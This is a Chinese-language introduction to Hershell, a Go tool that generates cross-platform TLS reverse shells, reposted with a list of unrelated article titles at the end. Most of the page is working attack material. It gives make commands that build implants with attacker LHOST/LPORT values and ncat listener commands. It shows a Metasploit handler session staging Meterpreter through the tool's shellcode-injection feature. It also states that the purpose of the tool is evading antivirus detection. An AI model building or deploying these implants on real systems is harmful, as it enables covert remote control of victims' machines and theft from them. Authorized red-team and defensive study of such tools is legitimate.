Hershell是一款功能强大的跨平台反向Shell生成器,该工具使用Go语言开发,基于TCP反向Shell实现其功能。

该工具使用了TLS来保障数据通讯的安全性,并且提供了证书公共密钥指纹绑定功能来防止通信数据被拦截。

支持的系统
Hershell的当前版本支持以下操作系统:
Windows
Linux
macOS
FreeBSD

开发目的
虽然Meterpreter Payload有时也能用,但是这种方法很容易被反病毒产品检测到。因此,Hershell便应运而生,它可以给我们提供一个基于TCP的反向Shell,而且能够支持各种不同的操作系统平台。

工具使用&依赖组件
Hershell使用Go语言开发,我们首先需要按照Go官方手册【点我获取】在我们的设备上完成Go环境的搭建,并设置好$GOPATH环境变量。

接下来,运行下列命令来获取项目源码:
go get github.com/lesnuages/hershell

构建Payload
在构建Payload时,我们可以选择使用已提供的Makefile来完成构建。此时,我们需要设置以下环境变量:

GOOS : 目标操作系统
GOARCH : 目标架构
LHOST : 攻击者IP或主机域名
LPORT : 监听器端口
关于GOOS和GOARCH变量的设置,可以参考这篇【文档】。
当然了,我们也在Makefile中提供了一些可供参考的变量值:
depends : 生成服务器证书(反向Shell需要使用到)

windows32 : 构建一个32位Windows可执行程序(PE 32位)
windows64 : 构建一个64位Windows可执行程序(PE 64位)
linux32 : 构建一个32位Linux可执行程序(ELF 32位)
linux64 : 构建一个64位Linux可执行程序(ELF 64位)
macos32 : 构建一个32位macOS可执行程序(Mach-O)
macos64 : 构建一个64位macOS可执行程序(Mach-O)

针对上述列表中的目标平台,我们还需要设置LHOST和LPORT这两个环境变量。

使用反向Shell
代码开始执行之后,工具将给我们提供一个远程Shell,它是一个自定义的交互式Shell,允许我们通过Windows上的cmd.exe或Unix设备中的/bin/sh来执行系统命令。

Hershell支持的部分特定命令如下表所示:
run_shell : 获取系统Shell

inject : 向相同进程内存中注入一个shellcode(Base64编码),并执行代码。
meterpreter [tcp|http|https] IP:PORT :与多个处理器建立连接并从Metasploit获取第二阶段的反向TCP、HTTP或HTTPS Meterpreter,然后在内存中执行Shellcode(该功能目前仅支持Windows平台)。

exit : 退出程序

工具使用
首先,我们需要使用下面的命令生成一个有效的证书:

$ make depends
openssl req -subj ‘/CN=yourcn.com/O=YourOrg/C=FR’ -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
…++

cat server.key >> server.pem
针对Windows平台:
#Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
#Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
针对Linux平台:
#Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
#Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
针对macOS平台:
$ make macos LHOST=192.168.0.12 LPORT=1234
工具使用样例
基础使用
我们可以使用各种工具来处理传入的连接,比如说:

socat
ncat
openssl服务器模块

Metasploit的各种handler (python/shell_reverse_tcp_ssl payload)

下面是ncat的使用样例:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
Meterpreter场景
注意:目前该功能仅支持在Windows平台上使用。

该工具的Meterpreter使用场景目前仅支持下列Payload:
windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_http
windows/x64/meterpreter/reverse_http
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https

当你选择使用某个Payload之后,别忘了选择正确的传输端口(tcp、http或https)。
MeterpreterHandler使用样例如下:

[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
接下来,在hershell中,使用meterpreter命令:

[hershell]> meterpreter https 172.16.122.105:8443
此时,我们将能够在msfconsole中获取到新的Meterpreter会话:

[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) …
[
] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Id Name Type Information Connection


1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
项目地址
Hershell:https://github.com/lesnuages/hershell

Hershell:跨平台反向Shell生成器相关推荐

  1. java反序列化漏洞POP查找_利用 Java 反序列化漏洞在受限环境下获取反向 Shell

    原标题:利用 Java 反序列化漏洞在受限环境下获取反向 Shell 原文链接: https://medium.com/abn-amro-red-team/java-deserialization-f ...

  2. 一款功能强大,可扩展端到端加密反向Shell的工具

    关于Mediator Mediator是一款功能强大的可扩展端到端加密反向Shell,该工具基于新型架构实现,采用Python语言开发,能够帮助广大研究人员通过一台"Mediator&quo ...

  3. 【 Grey Hack 】反向Shell

    目录 调查 准备反向shell 反向shell 提权 版本:Grey Hack v0.7.3618 - Alpha 如图,本案例中目标IP尚未开放常见端口 调查 通过路由器获得目标PC的用户邮箱账号和 ...

  4. 易语言执行linux脚本,初识易语言到编写SHELL生成器

    下面开始实际的代码编写步骤.首先要先插入几个常量用来存放SHELL代码,点击插入按钮-选择常量(图15),右键选择插入新长文本常量(图16),常量名称改为一个方便易记的名字,最好是SHELL类型或者是 ...

  5. 跨平台的报表生成器控件Stimulsoft Reports.Fx for Flex

    Stimulsoft Reports.Fx for Flex是一个跨平台的报表生成器控件,用于丰富的互联网应用程序中.在创建这个报表工具的时候,我们使用了一种在互联网商业程序开发中的一个高级技术 - ...

  6. JavaScript反向shell

    Node.js反向Shell 摘自:http://www.itfang.net/?p=109 如下的Javascript就是一个Node.js的反向连接shell. 这个payload将会生成一个/b ...

  7. 使用netcat的正向 / 反向shell

    reverse shell bind shell reverse shell描述图: 在此示例中,目标使用端口4444反向连接攻击主机.-e选项将Bash shell发回攻击主机.请注意,我们也可以在 ...

  8. Shells:一款功能强大的反向Shell快速生成工具

    关于Shells Shells是一款功能强大的反向Shell快速生成工具,该工具由4ndr34z负责开发和维护,可以帮助广大研究人员轻松生成常用的反向Shell.如果你需要一种简单的方法来生成格式化的 ...

  9. 用python写一个程序控制其它软件_程序员:利用Python实现可控制肉鸡的反向Shell...

    一.初识 1.1 用 Python 实现一个可以管理多个肉鸡的反向 Shell,为什么叫反向 Shell 呢?反向就是肉鸡作为 Client 主动连接到我们的 Server 端,以实现对多个远程主机的 ...

  10. WSH:一款功能强大的Web Shell生成器和命令行接口工具

    关于WSH WSH是一款功能强大的Web Shell生成器和命令行接口工具.我们考虑到只用一个HTTP客户端来跟Webshell交互其实是一件很痛苦的事,我们需要在表格中输入命令,然后再点各种按钮.因 ...

最新文章

  1. selector与layer-list 单边框效果
  2. tensflow中加载 fashion_mnist 数据集时
  3. es head插件安装_ES笔记概述与安装
  4. sqli-lab(16)
  5. iPhone编程的一些技巧总结
  6. Django中的核心思想ORM---元类实现ORM
  7. 英特尔至强E5 V4荣耀出炉 宝德服务器抢先同步升级
  8. 在optenstack配置nova
  9. 杨辉三角 java版
  10. redis获取哈希类型的值,hget、hmget、hgetall
  11. Highcharts-制作图表的js库
  12. Python之数据容器
  13. UVA 12304 /// 圆的综合题 圆的模板
  14. 2021爱分析·云计算厂商全景报告
  15. pic 18f45k80单片机看门狗程序
  16. 四阶龙格库塔法求解一次常微分方程组(python实现)
  17. 第2-2-1章 常见组件与中台化-中台概述
  18. 数据库实验 嵌套查询和连接查询
  19. cv::mat与unsigned char*相互转化之间的转换
  20. 你不看好百度,但“狼崽子”们却很凶:两年拿下5万家客户,然后再跟阿里打一架

热门文章

  1. 禅道备份功能_禅道备份处理
  2. Pytorch下使用多GPU训练模型
  3. 网页浏览器主要通过ftp协议同网页服务器,FTP协议的工具、网页浏览器和命令
  4. linux自带的cpu监测工具,Linux CPU实时系统监控工具mpstat
  5. 索引超出矩阵维度怎么修改程序_seo关键词优化工具怎么收费
  6. 唱歌如何保持高位置_【如何找到唱歌发声的高位置?】
  7. SLAM--非线性优化
  8. rust工作台可以拾取吗_10台铝型材工作台一周交货可以吗
  9. spring 配置项 随机_Spring Boot--从配置文件中获取随机数
  10. Google Cloud Fundamentals简介